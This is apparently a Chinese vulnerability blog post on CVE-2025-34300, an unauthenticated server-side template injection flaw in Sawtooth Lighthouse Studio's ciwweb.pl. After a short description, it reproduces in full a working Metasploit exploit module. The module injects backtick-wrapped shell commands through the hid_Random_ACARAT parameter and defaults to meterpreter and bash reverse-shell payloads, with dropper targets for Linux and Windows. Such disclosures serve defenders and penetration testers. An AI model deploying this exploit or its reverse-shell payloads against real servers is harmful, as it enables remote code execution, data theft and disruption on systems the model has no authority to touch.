Sawtooth Software Lighthouse Studio 模板注入漏洞

漏洞信息

漏洞名称: Sawtooth Software Lighthouse Studio 模板注入漏洞

漏洞编号:

  • CVE: CVE-2025-34300

漏洞类型: 服务端模板注入

漏洞等级: 高危

漏洞描述: Sawtooth Software的Lighthouse Studio是一款广泛用于市场调研和数据分析的软件,其ciwweb.pl网络应用程序存在一个模板注入漏洞。该漏洞源于应用程序未能正确处理用户输入的调查模板,导致未经认证的攻击者可以注入并执行任意的Perl命令。

该漏洞的技术根源在于应用程序对用户输入的处理不当,未能进行充分的输入验证和清理,从而允许攻击者通过构造特定的输入来执行服务器端的代码。这种类型的漏洞通常被称为服务端模板注入(Server-Side Template Injection, SSTI),它允许攻击者在服务器上执行任意代码,可能导致严重的安全问题。

利用此漏洞,攻击者可以在目标系统上远程执行代码,执行权限与运行web服务器的用户相同。这意味着攻击者可以访问敏感数据,破坏调查操作,甚至可能进一步利用系统漏洞进行更广泛的攻击。由于此漏洞不需要认证即可利用,因此其潜在的安全风险非常高,尤其是在公开可访问的系统中。

产品厂商: Sawtooth Software

产品名称: Lighthouse Studio

影响版本: version < 9.16.14

来源: https://github.com/rapid7/metasploit-framework/blob/45a6176a9cc8dcc6987a70e97935f82a0a3a8bac/modules%2Fexploits%2Fmulti%2Fhttp%2Flighthouse_studio_unauth_rce_cve_2025_34300.rb

类型: rapid7/metasploit-framework:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => "Template Injection Vulnerability in Sawtooth Software's Lighthouse Studio (CVE-2025-34300)",
'Description' => %q{
This module exploits a template injection vulnerability in the
Sawtooth Software Lighthouse Studio's `ciwweb.pl` web application.
The application fails to properly sanitize user input within survey templates,
allowing unauthenticated attackers to inject and execute arbitrary Perl commands
on the target system.

This vulnerability affects Lighthouse Studio versions prior to 9.16.14.
Successful exploitation may result in remote code execution under the privileges
of the web server, potentially exposing sensitive data or disrupting survey operations.

An attacker can execute arbitrary system commands as the web server.
},
'License' => MSF_LICENSE,
'Author' => [
'Maksim Rogov', # Metasploit Module
'Adam Kues' # Vulnerability Discovery
],
'References' => [
['CVE', '2025-34300'],
['URL', 'https://slcyber.io/assetnote-security-research-center/rce-in-the-most-popular-survey-software-youve-never-heard-of/']
],
'Platform' => ['win', 'linux', 'unix'],
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
'Targets' => [
[
'Linux Dropper',
{
'Platform' => ['linux'],
'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
'Type' => :nix_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
[
'Linux Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Type' => :nix_command,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Windows Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
'Type' => :windows_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => [ARCH_CMD],
'Type' => :windows_command,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-07-16',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'Path to vulnerable ciwweb.pl', '/cgi-bin/ciwweb.pl']),
OptString.new('STUDYNAME', [false, 'Value for the hid_studyname GET parameter', ''])
]
)
end

def check
print_status('Extracting version...')

vars = {
'hid_javascript' => '1'
}
vars['hid_studyname'] = datastore['STUDYNAME'] if datastore['STUDYNAME']

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'vars_get' => vars
)

unless res.body =~ /Lighthouse Studio (\d+_\d+_\d+)/
print_error("#{peer} - Unable to extract version number")
end

version_match = Regexp.last_match(1).to_s
if !version_match.empty?
print_status("Extracted version: #{version_match.gsub('_', '.')}")

version = Rex::Version.new(version_match.gsub('_', ''))
if version < Rex::Version.new(91614)
return CheckCode::Appears
else
return CheckCode::Safe
end
end

html = res.get_html_document if res
if html.text.include?('Lighthouse Studio')
return CheckCode::Detected
end

CheckCode::Unknown
end

def execute_command(cmd, _opts = {})
cmd = Rex::Text.uri_encode(cmd, 'hex-all')
query = [
'hid_javascript=1',
"hid_Random_ACARAT=[%`#{cmd}`%]",
"hid_Random_ACARAT=#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"
].join('&')

if datastore['STUDYNAME']
query << "&hid_studyname=#{datastore['STUDYNAME']}"
end

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'query' => query
})

if res
html = res.get_html_document
if html && html.text.include?('Sawtooth Error # 129')
return fail_with(Failure::BadConfig, 'The STUDYNAME value is invalid')
end
end
end

def exploit
print_status('Uploading malicious payload...')

case target['Type']
when :windows_dropper, :nix_dropper
execute_cmdstager
when :windows_command, :nix_command
execute_command(payload.encoded)
end
end
end



Sawtooth Software Lighthouse Studio 模板注入漏洞
http://example.com/2025/07/21/github_1470468534/
作者
lianccc
发布于
2025年7月21日
许可协议